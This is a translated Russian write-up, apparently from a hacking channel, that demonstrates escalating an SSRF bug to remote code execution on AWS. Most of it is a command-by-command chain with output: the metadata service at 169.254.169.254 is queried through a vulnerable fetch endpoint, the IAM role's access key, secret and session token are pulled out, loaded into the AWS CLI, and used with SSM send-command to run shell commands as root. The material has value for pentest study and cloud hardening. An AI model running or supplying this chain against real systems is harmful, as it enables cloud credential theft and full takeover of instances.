Переходим от SSRF к RCE

Переходим от SSRF к RCE

Этичный Хакер
Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.

Данная статья является переводом и ведется со слов автора. Оригинал тут.

Получение метаданных AWS и использование их для RCE

Недавно я наткнулся на уязвимость SSRF, позволяющую получить метаданные для экземпляра Amazon EC2, на котором запущено уязвимое программное обеспечение. Но как продолжить и превратить SSRF в RCE?

Изучая веб-приложение, я наткнулся на конечную точку, которая позволяла мне выполнять SSRF. Я буду использовать  http://example.com/fetch?url=[path] в качестве примера.

Выполним curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ для просмотра содержимого каталога службы метаданных Amazon.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

Сначала давайте проверим детали экземпляра, чтобы знать, какой регион использовать при выполнении команд AWS CLI.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/dynamic/instance-identity/document

{
  "accountId" : "19xxxxxxxxxx",
  "architecture" : "x86_64",
  "availabilityZone" : "eu-west-1c",
  "billingProducts" : null,
  "devpayProductCodes" : null,
  "marketplaceProductCodes" : null,
  "imageId" : "ami-xxxxxxxxxxxxxxxxx",
  "instanceId" : "i-xxxxxxxxxxxxxxxxx",
  "instanceType" : "r0x.large",
  "kernelId" : null,
  "pendingTime" : "2021-01-01T13:37:00Z",
  "privateIp" : "172.10.1.1",
  "ramdiskId" : null,
  "region" : "eu-west-1",
  "version" : "2020-01-01"
}

Будем иметь ввиду, что "region": "eu-west-1". Теперь проверим наличие учетных данных. Эти учетные данные приведут нас к RCE.

При запросе http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/отображается список с учетными данными.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

webserver

Проверим содержимое учетный данных webserver:

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver

{
  "Code" : "Success",
  "LastUpdated" : "2021-02-05T13:37:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",
  "SecretAccessKey" : "XxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxx",
  "Token" : "A-secret-base64-encoded-token",
  "Expiration" : "2021-02-06T13:37:00Z"
}

Используем AWS CLI для проверки полученных учетных данных. Для следующих команд используем данные из предыдущего запроса и значение region, которое мы получили до этого ( eu-west-1).

$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"
$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"
$ export AWS_DEFAULT_REGION="[region]"
$ export AWS_SESSION_TOKEN="[Token]"

Пришло время проверить подлинность токена.

$ aws sts get-caller-identity

{
    "UserId": "AROAxxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",
    "Account": "19xxxxxxxxxx",
    "Arn": "arn:aws:sts::19xxxxxxxxxx:assumed-role/webserver/i-xxxxxxxxxxxxxxxxx"
}

Свойство Account будет такое же , как accountId в конечной точке метаданных document из прошлых шагов. То же самое касается значения свойства UserId, которое будет таким же, как и instanceId в конечной точке document.

Чтобы получить RCE, нам нужно знать, в каких экземплярах учетные данные безопасности принимаются для выполнения команд.

$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"

1.2.3.4       example-1234567890.eu-west-1.elb.amazonaws.com 172.10.1.100    i-xxxxxxxxxxxxxxxxx     False   2021-02-05T13:37:00.000000+01:00        Online  Amazon Linux AMI        Linux   2020.01 EC2Instance

Будет возвращен список экземпляров, доступных для отправки команд. Проверим выполнение команды на одном из экземпляров из списка выше (скопируйте значение i-xxxxxxxxxxxxxxxxx).

Убедитесь, что выполняете безопасную команду, например whoami или uname. Мы не хотим мешать работе каких-либо служб или даже убивать инстанс.
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'

{
    "Command": {
        "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
        "DocumentName": "AWS-RunShellScript",
        "DocumentVersion": "",
        "Comment": "RCE test: whoami",
        "ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",
        "Parameters": {
            "commands": [
                "whoami"
            ]
        },
        "InstanceIds": [],
        "Targets": [
            {
                "Key": "instanceids",
                "Values": [
                    "i-xxxxxxxxxxxxxxxxx"
                ]
            }
        ],
        "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
        "Status": "Pending",
        "StatusDetails": "Pending",
        "OutputS3BucketName": "",
        "OutputS3KeyPrefix": "",
        "MaxConcurrency": "50",
        "MaxErrors": "0",
        "TargetCount": 0,
        "CompletedCount": 0,
        "ErrorCount": 0,
        "DeliveryTimedOutCount": 0,
        "ServiceRole": "",
        "NotificationConfig": {
            "NotificationArn": "",
            "NotificationEvents": [],
            "NotificationType": ""
        },
        "CloudWatchOutputConfig": {
            "CloudWatchLogGroupName": "",
            "CloudWatchOutputEnabled": false
        },
        "TimeoutSeconds": 3600
    }
}

Скопируйте CommandId и используйте его в следующей команде, чтобы проверить вывод выполненной команды.

$ aws ssm list-command-invocations --command-id "[CommandId]" --details

{
    "CommandInvocations": [
        {
            "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
            "InstanceId": "i-xxxxxxxxxxxxxxxxx",
            "InstanceName": "",
            "Comment": "RCE test: whoami",
            "DocumentName": "AWS-RunShellScript",
            "DocumentVersion": "",
            "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
            "Status": "Success",
            "StatusDetails": "Success",
            "StandardOutputUrl": "",
            "StandardErrorUrl": "",
            "CommandPlugins": [
                {
                    "Name": "aws:runShellScript",
                    "Status": "Success",
                    "StatusDetails": "Success",
                    "ResponseCode": 0,
                    "ResponseStartDateTime": "2021-02-05T13:37:00.000000+01:00",
                    "ResponseFinishDateTime": "2021-02-05T13:37:00.000000+01:00",
                    "Output": "root\n",
                    "StandardOutputUrl": "",
                    "StandardErrorUrl": "",
                    "OutputS3Region": "eu-west-1",
                    "OutputS3BucketName": "",
                    "OutputS3KeyPrefix": ""
                }
            ],
            "ServiceRole": "",
            "NotificationConfig": {
                "NotificationArn": "",
                "NotificationEvents": [],
                "NotificationType": ""
            },
            "CloudWatchOutputConfig": {
                "CloudWatchLogGroupName": "",
                "CloudWatchOutputEnabled": false
            }
        }
    ]
}

Если команда не выполнилась, то Status будет pending. При успешном выполнении вывод отображается в CommandInvocations.CommandPlugins.Output:

"root\n"




Report Page